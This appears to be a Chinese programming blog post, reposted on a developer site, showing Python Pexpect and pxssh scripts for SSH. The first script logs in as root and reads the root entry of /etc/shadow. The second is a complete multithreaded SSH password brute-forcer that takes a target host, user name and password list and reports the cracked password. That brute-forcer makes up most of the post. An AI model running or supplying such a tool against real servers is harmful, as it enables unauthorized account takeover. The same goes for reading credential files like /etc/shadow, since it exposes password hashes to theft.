Pexpect 模块登录ssh以及pxssh模块暴力破解ssh密码

本文介绍如何使用Pexpect和pxssh模块实现SSH连接及密码破解。通过具体代码示例展示了Pexpect的基本用法,包括expect和send方法,以及如何利用pxssh进行SSH登录尝试。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

利用Pexpect模块交互

这里centos系统

代码

# -*- coding: utf-8 -*-
# @Author  : Lan126

import pexpect

PROMPT = ["# ", ">>> ", "> ", "\$ "]


def connect(user, host, password):
    ssh_newkey = "Are you sure you want to continue connecting"
    connStr = "ssh " + user + "@" + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, "[p|P]assword:"])
    if ret == 0:
        print("[-] Error Connecting")
        return
    if ret == 1:
        child.sendline("yes")
        ret = child.expect([pexpect.TIMEOUT, "[p|P]assword:"])
        if ret == 0:
            print("[-] Error Connecting")
            return
    child.sendline(password)
    child.expect(PROMPT)
    return child


def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print((child.before).encode("utf-8"))


def main():
    host = "localhost"
    user = "root"
    password = "*************************"
    child = connect(user, host, password)
    send_command(child, "cat /etc/shadow | grep root")


if __name__ == "__main__":
    main()

结果图

1101538-20180506173656793-927213673.png

细节

下面是从Pexpect文档中复制的一句话基本上可以概括这一个脚本的所有知识点了

There are two important methods in Pexpect – expect() and send() (or sendline() which is like send() with a linefeed).
The expect() method waits for the child application to return a given string. The string you specify is a regular expression,
so you can match complicated patterns. The send() method writes a string to the child application.
From the child’s point of view it looks just like someone typed the text from a terminal.
After each call to expect() the before and after properties will be set to the text printed by child application.
The before property will contain all text up to the expected string pattern. The after string will contain the text that was matched by the expected pattern

spawnclass的作用如下

This is the main class interface for Pexpect. Use this class to start and control child applications.


利用pxssh暴力破解ssh密码

这里也是centos系统

代码

# -*- coding: utf-8 -*-
# @Author  : Lan126

import optparse
from pexpect import pxssh
import time
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0


def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+] Password Found " + password)
        Found = True
    except Exception as e:
        if "read_nonblocking" in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif "synchronize with original prompt" in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release:
            connection_lock.release()


def main():
    parser = optparse.OptionParser("usage%prog" + "-H <target host> -u <user> -F <password list>")
    parser.add_option("-H", dest="tgtHost", type="string", help="specify target host")
    parser.add_option("-u", dest="user", type="string", help="specify the user")
    parser.add_option("-F", dest="passwordFile", type="string", help="specify password file")
    options, args = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwordFile
    user = options.user
    if host is None or passwdFile is None or user is None:
        print(parser.usage)
        exit(0)
    fn = open(passwdFile, "r")
    for line in fn.readlines():
        if Found:
            # 如果发现了密码就退出
            print("[*] Exiting: Password Found")
            exit(0)
        if Fails > 5:
            print("[!] Too Many Socket Timeouts")
            exit(0)
        connection_lock.acquire()
        password = line.strip("\r").strip("\n")
        print("[-] Testing: " + str(password))
        t = Thread(target=connect, args=(host, user, password, True))
        t.start()


if __name__ == "__main__":
    main()

结果图

1101538-20180506173759475-950388168.png

细节

这其实也是上面那个脚本的更高级的封装不过就是加了一个读取密码文件的过程而已
这一个脚本的知识点有全局变量,信号量,以及pxssh模块的使用,它可以直接用login()等函数与ssh交互
BoundedSemaphore类了解一下

A bounded semaphore implementation. Inherit from Semaphore.
This raises ValueError in release() if it would increase the value above the initial value.

转载于:https://www.cnblogs.com/tclan126/p/8998910.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值